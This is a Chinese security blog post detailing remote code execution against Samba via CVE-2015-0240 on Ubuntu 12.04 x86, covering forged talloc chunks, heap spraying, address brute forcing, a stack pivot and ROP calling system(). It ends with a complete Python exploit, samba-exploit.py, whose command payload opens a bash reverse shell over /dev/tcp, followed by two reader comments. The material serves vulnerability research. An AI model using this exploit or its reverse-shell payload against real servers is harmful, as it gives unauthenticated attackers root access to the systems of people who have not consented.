Samba CVE-2015-0240 远程代码执行漏洞利用实践

2015-04-15 13,983

在大家欢天喜地度春节时,安全界近日爆出Samba被发现存在远程命令执行漏洞(CVE-2015-0240),安全脉搏有文章《

Samba全系版本远程命令执行漏洞(CVE-2015-0240)检测方法及修复建议》,长亭科技KELWIN 给我们带来了《Samba CVE-2015-0240 远程代码执行漏洞利用实践》

banner

1 演示

2 背景

2015年2月23日,Red Hat产品安全团队发布了一个Samba服务端smbd的漏洞公告 [1],该漏洞编号为CVE-2015-0240,几乎影响所有版本。

该漏洞的触发并不需要通过Samba服务器的账号认证,而smbd服务端通常以root权限运行,如果漏洞能够被用来实现任意代码执行,则攻击者可以远程获取系统root权限,危害极其严重,因此该漏洞的CVSS评分也达到了10。

该漏洞的基本原理是栈上未初始化的指针被传入TALLOC_FREE()函数。想要利用这个漏洞,首先需要控制栈上未初始化的数据,这和编译生成的二进制文件中栈的布局有关。

因此少数国外的安全研究人员针对不同Linux发行版上的二进制文件做了分析,其中Worawit Wang(@sleepya_)给出了较好的结果,他证实了在Ubuntu 12.04 x86 (Samba 3.6.3)和Debian 7 x86 (Samba 3.6.6)中,这个漏洞是可以被用来实现远程代码任意执行的,参考 [2] 中的注释。之后,英格兰老牌安全公司NCC Group的研究人员给出了漏洞利用的思路 [4],但是也未给出利用细节和exploit代码。

本文详细分析并实现了Ubuntu 12.04 x86(Debian 7 x86情况类似)平台下Samba服务端远程代码任意执行的exploit。

3 漏洞简介

已经有多篇文章给出了漏洞分析 [3],这里只做一个简要介绍。

漏洞出现在函数 _netr_ServerPasswordSet() 当中,局部变量creds原本被期望通过 netr_creds_server_step_check()函数初始化,但是如果构造输入使得 netr_creds_server_step_check() 失败,则可导致creds未初始化就传入了TALLOC_FREE()函数:

NTSTATUS _netr_ServerPasswordSet(struct pipes_struct *p, struct netr_ServerPasswordSet *r)
{
    NTSTATUS status = NT_STATUS_OK;
    int i;
    struct netlogon_creds_CredentialState *creds;
        [...]
    status = netr_creds_server_step_check(p, p->mem_ctx, r->in.computer_name, r->in.credential, r->out.return_authenticator, &creds);
    unbecome_root();

    if (!NT_STATUS_IS_OK(status)) {
                [...]
        TALLOC_FREE(creds);
        return status;
    }

 

4 漏洞利用

我们首先来看一下smbd的binary当中开启了哪些保护机制:

$ checksec.sh --file smbd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   smbd

 

编译器所有能加的保护机制都用上了,最需要注意的是开启了PIE的保护,这样如果要使用binary本身的代码片段来进行ROP或者调用导入函数,就必须首先知道程序本身加载的地址。

4.1 任意地址Free

要利用这个漏洞,首先需要找到一个控制流,能够控制栈上未初始化的指针creds,这样我们就可以实现对任意地址调用TALLOC_FREE()

根据@sleepya_的PoC,我们已经知道,在Ubuntu 12.04 和 Debian 7 x86系统中,NetrServerPasswordSet请求当中PrimaryNameReferentID域恰好落在了栈上未初始化指针creds的位置。

这样我们就可以通过构造ReferentID来实现任意地址Free。PoC中相关代码如下:

primaryName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
primaryName.fields['ReferentID'] = 0x41414141

 

4.2 控制EIP

有了任意地址Free后,我们可以想办法让TALLOC_FREE()来释放我们控制的内存块,但我们并不知道我们所能控制的内存的地址(DCERPC请求中的数据存储在堆上)。

我们可以穷举堆的地址,因为smbd进程采用fork的方式来处理每个连接,内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块,来提高命中率,尽可能降低枚举的空间。

我们首先假设已经知道堆的地址,先来看一看如何构造TALLOC内存块来劫持EIP。

我们需要去了解TALLOC_FREE()的实现。 首先看一看TALLOC内存块的结构:

struct talloc_chunk {
     struct talloc_chunk *next, *prev;
     struct talloc_chunk *parent, *child;
     struct talloc_reference_handle *refs;
     talloc_destructor_t destructor;
     const char *name;
     size_t size;
     unsigned flags;
     void *pool;
     8 bytes padding;
};

 

为了满足16字节对齐,这个结构末尾还有8字节的padding,这样talloc_chunk结构一共48字节。在这个结构当中,destructor是一个函数指针,我们可以任意构造。先来看一看TALLOC_FREE()这个宏展开的代码:

_PUBLIC_ int _talloc_free(void *ptr, const char *location)
{
    struct talloc_chunk *tc;
    if (unlikely(ptr == NULL)) {
        return -1;
    }
    tc = talloc_chunk_from_ptr(ptr);
    ...
}

 

_talloc_free()又调用了talloc_chunk_from_ptr(),这个函数是用来将内存指针(分配时返回给用户使用的指针ptr)转换成talloc_chunk的指针。

/* panic if we get a bad magic value */
static inline struct talloc_chunk *talloc_chunk_from_ptr(const void *ptr)
{
    const char *pp = (const char *)ptr;
    struct talloc_chunk *tc = discard_const_p(struct talloc_chunk, pp - TC_HDR_SIZE);
    if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
        if ((tc->flags & (~0xFFF)) == TALLOC_MAGIC_BASE) {
            talloc_abort_magic(tc->flags & (~0xF));
            return NULL;
        }

        if (tc->flags & TALLOC_FLAG_FREE) {
            talloc_log("talloc: access after free error - first free may be at %s\n", tc->name);
            talloc_abort_access_after_free();
            return NULL;
        } else {
            talloc_abort_unknown_value();
            return NULL;
        }
    }
    return tc;
}

 

这个函数仅仅把用户内存指针减去TC_HDR_SIZE并返回, TC_HDR_SIZE就是talloc_chunk的大小48,但是我们需要满足tc->flags的检查,将其设置为正确的Magic Number,否则函数无法返回正确指针。接下来我们继续看_talloc_free()函数:

_PUBLIC_ int _talloc_free(void *ptr, const char *location)
{
    ...
    tc = talloc_chunk_from_ptr(ptr);
    if (unlikely(tc->refs != NULL)) {
        struct talloc_reference_handle *h;
        if (talloc_parent(ptr) == null_context && tc->refs->next == NULL) {
            return talloc_unlink(null_context, ptr);
        }
        talloc_log("ERROR: talloc_free with references at %s\n",
               location);
        for (h=tc->refs; h; h=h->next) {
            talloc_log("\treference at %s\n",
                   h->location);
        }
        return -1;
    }
    return _talloc_free_internal(ptr, location);
}

 

如果tc->refs不等于NULL,则进入if分支:为了让里面的第一个if分支不挂,我们需要把tc->parent指针设置成NULL;紧接着的for循环又要求我们让tc->refs指向一个合法链表,有一些复杂。

我们先来看如果tc->refs为NULL的情形,即程序进入了_talloc_free_internal()函数:

static inline int _talloc_free_internal(void *ptr, const char *location)
{
    ...
    if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
        /* we have a free loop - stop looping */
        return 0;
    }
    if (unlikely(tc->destructor)) {
        talloc_destructor_t d = tc->destructor;
        if (d == (talloc_destructor_t)-1) {
            return -1;
        }
        tc->destructor = (talloc_destructor_t)-1;
        if (d(ptr) == -1) { // call destructor
            tc->destructor = d;
            return -1;
        }
        tc->destructor = NULL;
    }
    ...
}

 

我们略去该函数中已经不需要考虑的部分,在上述函数中,我们已经看到talloc_chunkdestructor被调用起来了,但是在这之前有一些检查:第一个if当中,我们不能在flags中设置TALLOC_FLAG_LOOP;在第二个if中,destructor如果设置为-1,则函数返回-1,程序不会crash,如果destructor设置为其他非法地址,则程序会崩溃退出。

我们可以利用这个特性来验证穷举的堆的地址是否准确:我们在穷举时可以将destructor设置为-1,当找到一个用来TALLOC_FREE()的地址没有让程序崩溃(请求有返回),则再将destructor设置为一个非法地址,如果程序这时候崩溃,则说明我们找到的地址是正确的。

现在我们总结一下我们需要构造的chunk所应该满足的条件:

struct talloc_chunk {
    struct talloc_chunk *next, *prev; // 无要求
    struct talloc_chunk *parent, *child; // 无要求
    struct talloc_reference_handle *refs; // refs = 0
    talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    const char *name;
    size_t size;
    unsigned flags; // 条件1:flags & (TALLOC_FLAG_FREE | ~0xF)) == TALLOC_MAGIC
                    // 条件2:tc->flags & TALLOC_FLAG_LOOP == False
    void *pool; // 无要求
    8 bytes padding; // 无要求
};

 

到此为止,我们已经知道怎么通过构造chunk传给TALLOC_FREE()来控制EIP。

4.3 穷举堆地址

经过修改PoC并结合gdb调试发现,我们可以使用new password来构造大量的chunk(对应于PoC中的uasNewPass['Data'])。虽然发送给Samba的请求当中有很多数据存储在堆当中(例如usernamepassword,参考 [2]),但是很多数据要求符合WSTR编码,无法传入任意字符。

为了提高穷举堆地址的效率,我们采用 [4] 提出的思路,使用只包含refsdestructornamesizeflags这5个域的压缩chunk,从48字节缩小为20字节,这样我们在穷举时只需要对每个地址穷举5个偏移,而不是原来的12个。压缩chunk的喷射与实际talloc_chunk结构的对应关系如下图所示。

 

chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多,则需要枚举的空间就会减少,但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大,因此需要根据实际情况来选择一个折中的数值。另外,在我们实现的exploit中,使用了进程池来实现并行枚举,提高了穷举的效率。

4.4 ROP

要实现ROP,我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页,所以我们按页来枚举即可(0x1000字节)。我们在平台中大量测试了地址空间可能的范围,大致有0x200种可能的情形,可以接受。 现在我们只能通过构造destructor来控制一次EIP,为了实现ROP,首先需要做栈迁移(stack pivot),我们在samba的binary中找到了如下gadget:

0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;

 

由于在控制EIP的现场,ecx-0x4正好指向chunk的name字段,因此我们可以从name字段开始进行ROP。通过设置一个pop4ret(pop eax ; pop esi ; pop edi ; pop ebp ; ret ;)的gadget,就可以让esp指向下一个压缩chunk的name字段,依次往下,直到ESP走到我们喷射的内存的尽头,我们在那里可以无限制地写入ROP Payload。

[4] 中并没有给出具体栈迁移的gadget,但是根据该文中给出的图示,可以推测NCC Group的研究人员使用了相同的gadget。

4.5 任意代码执行

注意到smbd程序中导入了system函数,因此我们可以直接调用system的PLT地址来执行任意命令。

但是如何写入命令呢,如果使用在堆中布置命令,目前我们只知道压缩chunk的地址,但是其中只剩下4字节可用,所以考虑调用snprintf,往bss section中逐字节写入命令,这种方式可以执行任意长度的命令。需要注意的是,在调用snprintfsystem时,由于binary使用的是地址无关代码(PIC),需要把GOT表地址恢复到ebx寄存器中。

生成ROP Payload的Python代码如下所示:

# ebx => got
rop = l32(popebx) + l32(got)
# write cmd to bss, fmt == "%c"
for i in xrange(len(cmd)):
    c = cmd[i]
    rop += l32(snprintf) + l32(pop4ret)
    rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
# system(cmd)
rop += l32(system) + 'leet' + l32(bss)

 

[4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式,可以实现相同的效果。

4.6 exploit完整代码

samba-exploit.py

#!/usr/bin/env python2

# Author: kelwin@chaitin.com

# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2

import sys
import signal
import time

# https://github.com/zTrix/zio
from zio import *

from multiprocessing import Pool, Manager

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *

host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"
# 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
pop4ret_o = 0x41e2cb
# 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250 
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0

pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32

def exploit(free_addr, pie=0, destructor=-1, step=0x80):
    pivot = pie + pivot_o
    pop4ret = pie + pop4ret_o
    popebx = pie + popebx_o
    got = pie + got_o
    fmt = pie + fmt_o
    system = pie + system_o
    snprintf = pie + snprintf_o
    bss = pie + bss_o

    if pie != 0:
        destructor = pivot
    # struct talloc_chunk {
    #     struct talloc_chunk *next, *prev;
    #     struct talloc_chunk *parent, *child;
    #     struct talloc_reference_handle *refs; // refs = 0
    #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    #     const char *name;
    #     size_t size;
    #     unsigned flags; // magic
    #     void *poo
    # };
    talloc_chunk = l32(0)           # refs => 0
    talloc_chunk += l32(destructor) # destructor => control EIP
    talloc_chunk += l32(pop4ret)    # pop4ret
    talloc_chunk += 'leet'          #
    talloc_chunk += l32(0xe8150c70) # flags => magic

    # ebx => got
    rop = l32(popebx) + l32(got)
    # write cmd to bss
    for i in xrange(len(cmd)):
        c = cmd[i]
        rop += l32(snprintf) + l32(pop4ret)
        rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
    # system(cmd)
    rop += l32(system) + 'leet' + l32(bss)

    payload = 'deadbeef'
    payload += talloc_chunk * 0x1000 * step
    payload += 'leet' * 2
    payload += rop.ljust(2560, 'C')
    payload += 'cafebabe' + '\0'

    username = ''
    password = ''

    ###
    # impacket does not implement NetrServerPasswordSet
    ###
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )

    class NetrServerPasswordSetResponse(NDRCALL):
        structure = (
           ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('ErrorCode',NTSTATUS),
        )

    nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

    ###
    # connect to target
    ###
    rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
    rpctransport.set_credentials('','')  # NULL session
    rpctransport.set_dport(port)
    # impacket has a problem with SMB2 dialect against samba4
    # force to 'NT LM 0.12' only
    rpctransport.preferred_dialect('NT LM 0.12')

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)

    sessionKey = '\x00' * 16

    ###
    # prepare ServerPasswordSet request
    ###
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
    authenticator['Timestamp'] = 10

    uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
    uasNewPass['Data'] = payload

    primaryName = nrpc.PLOGONSRV_HANDLE()
    # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
    primaryName.fields['ReferentID'] = free_addr

    request = NetrServerPasswordSet()
    request['PrimaryName'] = primaryName
    request['AccountName'] = username + '\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
    request['ComputerName'] = host + '\x00'
    request['Authenticator'] = authenticator
    request['UasNewPassword'] = uasNewPass

    DCERPCSessionError = nrpc.DCERPCSessionError
    try:
        resp = dce.request(request)
        print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except DCERPCSessionError as e:
        # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
        # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except impacket.nmb.NetBIOSError as e:
        # print 'exception occured'
        if e.args[0] == 'Error while reading from remote':
            # print("connection lost!!!\nmight be vulnerable")
            return 1
        else:
            raise
    except AttributeError:
        # print("exception")
        return 0

def init_worker():
    signal.signal(signal.SIGINT, signal.SIG_IGN)

def guess_heap(free_addr, step, hits):
    if len(hits) > 0: return
    log("[+] trying heap addr %s" % hex(free_addr), 'green')
    res = exploit(free_addr, destructor=-1, step=step)
    if res == 0:
        res = exploit(free_addr, destructor=0, step=step)
        if res != 0:
            log("hit: %s" % hex(free_addr), 'red')
            hits.append(free_addr)

def guess_pie(free_addr, pie, step):
    log("[+] trying pie base addr %s" % hex(pie), 'green')
    try:
        exploit(free_addr, pie=pie, step=step)
    except impacket.nmb.NetBIOSTimeout:
        pass

def brute_force_heap(step):
    hit = False
    print "Initializng 10 processes for brute forcing heap address..."
    pool = Pool(10, init_worker)
    manager = Manager()
    hits = manager.list()
    for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
        for offset in xrange(5):
            pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))

    try:
        while True:
            time.sleep(5)
            if len(hits) > 0:
                pool.terminate()
                pool.join()
                return hits[0]

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()
        sys.exit(0)

def brute_force_pie(free_addr, step):
    print "Initializng 10 processes for brute forcing PIE base address..."
    pool = Pool(10, init_worker)
    for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
        pool.apply_async(guess_pie, (free_addr, pie, step))

    try:
        time.sleep(60 * 60)

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()

    else:
        pool.close()
        pool.join()

step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)

 

5 参考资料

  1. Samba vulnerability (CVE-2015-0240)
  2. PoC for Samba vulnerabilty (CVE-2015-0240)
  3. Samba _netr_ServerPasswordSet Expoitability Analysis
  4. Exploiting Samba CVE-2015-0240 on Ubuntu 12.04 and Debian 7 32-bit

【原文:Samba CVE-2015-0240 远程代码执行漏洞利用实践 作者:长亭科技KELWIN

Tags:
评论  (2)
快来写下你的想法吧!
  • ql 2016-02-18 10:47:21

    PIE的取值范围为【0xb7700000, 0xba000000】,代码想要寻找哪个so的基地址?

  • ql 2016-02-18 10:48:24

    代码每次exploit就会产生服务器的崩溃,怎么可能一直测试呢?

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号